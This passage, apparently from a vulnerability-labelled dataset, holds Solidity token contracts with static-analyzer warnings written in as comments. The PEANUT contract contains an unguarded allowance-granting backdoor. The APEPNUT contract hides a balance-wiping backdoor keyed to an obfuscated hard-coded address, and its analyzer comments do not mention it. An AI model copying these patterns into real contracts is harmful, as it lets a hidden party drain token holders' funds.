pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b8016cd): PEANUT.approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b8016cd: Rename the local variables that shadow another component.\n function approve(address owner, address spender, uint256 amount) private {\n _allowances[owner][spender] = amount;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d9c25b6): PEANUT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d9c25b6: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f153370): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f153370: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a5454cc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a5454cc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f153370\n\t\t// reentrancy-benign | ID: a5454cc\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f153370\n\t\t// reentrancy-benign | ID: a5454cc\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c76fab7): PEANUT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for c76fab7: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a5454cc\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: f153370\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f4356c4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f4356c4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 95ffe86): PEANUT._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for 95ffe86: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: af794b4): PEANUT._bots is never initialized. It is used in PEANUT._transfer(address,address,uint256)\n\t// Recommendation for af794b4: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d8f7136): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d8f7136: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a1f9964): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a1f9964: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 _taxFeeAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n\n _taxFeeAmount = amount\n .mul(\n (_buyTokenCount > _reduceBuyAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExempt[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyTokenCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n _taxFeeAmount = amount\n .mul(\n (_buyTokenCount > _reduceSellAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: 95ffe86\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: f4356c4\n\t\t\t\t\t// reentrancy-eth | ID: d8f7136\n\t\t\t\t\t// reentrancy-eth | ID: a1f9964\n sendETHToFee(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyTokenCount > _preventCount\n ) {\n if (_caLimitSell) {\n if (_caBlockSell < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: f4356c4\n\t\t\t\t\t\t// reentrancy-eth | ID: d8f7136\n\t\t\t\t\t\t// reentrancy-eth | ID: a1f9964\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: f4356c4\n\t\t\t\t\t\t\t// reentrancy-eth | ID: d8f7136\n\t\t\t\t\t\t\t// reentrancy-eth | ID: a1f9964\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: d8f7136\n _caBlockSell = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: f4356c4\n\t\t\t\t\t// reentrancy-eth | ID: a1f9964\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: f4356c4\n\t\t\t\t\t\t// reentrancy-eth | ID: a1f9964\n sendETHToFee(address(this).balance);\n }\n }\n }\n }\n\n if (_taxFeeAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a1f9964\n _balances[address(this)] = _balances[address(this)].add(\n _taxFeeAmount\n );\n\n\t\t\t// reentrancy-events | ID: f4356c4\n emit Transfer(from, address(this), _taxFeeAmount);\n }\n\n\t\t// reentrancy-eth | ID: a1f9964\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: a1f9964\n _balances[to] = _balances[to].add(amount.sub(_taxFeeAmount));\n\n\t\t// reentrancy-events | ID: f4356c4\n emit Transfer(from, to, amount.sub(_taxFeeAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: f4356c4\n\t\t// reentrancy-events | ID: f153370\n\t\t// reentrancy-benign | ID: a5454cc\n\t\t// reentrancy-eth | ID: d8f7136\n\t\t// reentrancy-eth | ID: a1f9964\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n _pnutSrcRouter = _marketingWallet;\n\n _caLimitSell = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: f4356c4\n\t\t// reentrancy-events | ID: f153370\n\t\t// reentrancy-eth | ID: d8f7136\n\t\t// reentrancy-eth | ID: a1f9964\n _marketingWallet.transfer(amount);\n }\n\n function withdrawStuckETH() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 4e301f7): PEANUT.withdrawStuckTokens(address) ignores return value by this.transfer(_marketingWallet,balanceOf(address(this)))\n\t// Recommendation for 4e301f7: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function withdrawStuckTokens(address _peanutStore) external {\n approve(_peanutStore, _pnutSrcRouter, _tTotal);\n\n\t\t// unchecked-transfer | ID: 4e301f7\n this.transfer(_marketingWallet, balanceOf(address(this)));\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: cead2b9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for cead2b9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3c8325c): PEANUT.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 3c8325c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7c9146c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7c9146c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: cead2b9\n\t\t// reentrancy-eth | ID: 7c9146c\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: cead2b9\n\t\t// unused-return | ID: 3c8325c\n\t\t// reentrancy-eth | ID: 7c9146c\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: cead2b9\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 7c9146c\n tradingOpen = true;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10613.sol",
"size_bytes": 21596,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 22199892647076892804378197057245493225938762 *\n 10 ** 4 +\n 281474976717503;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"🐿️APEPNUT\", unicode\"🐿️APEPNUT\", 9, 200000000) {}\n}\n",
"file_name": "solidity_code_10614.sol",
"size_bytes": 7311,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BitSquirrel is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 58426c1): BitSquirrel._taxWallet should be immutable \n\t// Recommendation for 58426c1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: bceceed): BitSquirrel._initialBuyTax should be constant \n\t// Recommendation for bceceed: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 26;\n\n\t// WARNING Optimization Issue (constable-states | ID: 298ef2c): BitSquirrel._initialSellTax should be constant \n\t// Recommendation for 298ef2c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 26;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: f8e399d): BitSquirrel._reduceBuyTaxAt should be constant \n\t// Recommendation for f8e399d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 649b353): BitSquirrel._reduceSellTaxAt should be constant \n\t// Recommendation for 649b353: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3c51ad6): BitSquirrel._preventSwapBefore should be constant \n\t// Recommendation for 3c51ad6: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"BitSquirrel\";\n\n string private constant _symbol = unicode\"BitSquirrel\";\n\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9c40f6c): BitSquirrel._taxSwapThreshold should be constant \n\t// Recommendation for 9c40f6c: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9745dfa): BitSquirrel._maxTaxSwap should be constant \n\t// Recommendation for 9745dfa: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4200000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b676128): BitSquirrel.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b676128: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 56e1859): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 56e1859: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: edfed6b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for edfed6b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 56e1859\n\t\t// reentrancy-benign | ID: edfed6b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 56e1859\n\t\t// reentrancy-benign | ID: edfed6b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ce9ecc4): BitSquirrel._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ce9ecc4: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: edfed6b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 56e1859\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4f9bd03): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4f9bd03: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ea799c7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ea799c7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 2, \"Only 2 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 4f9bd03\n\t\t\t\t// reentrancy-eth | ID: ea799c7\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4f9bd03\n\t\t\t\t\t// reentrancy-eth | ID: ea799c7\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: ea799c7\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: ea799c7\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: ea799c7\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 4f9bd03\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: ea799c7\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: ea799c7\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 4f9bd03\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 4f9bd03\n\t\t// reentrancy-events | ID: 56e1859\n\t\t// reentrancy-benign | ID: edfed6b\n\t\t// reentrancy-eth | ID: ea799c7\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n 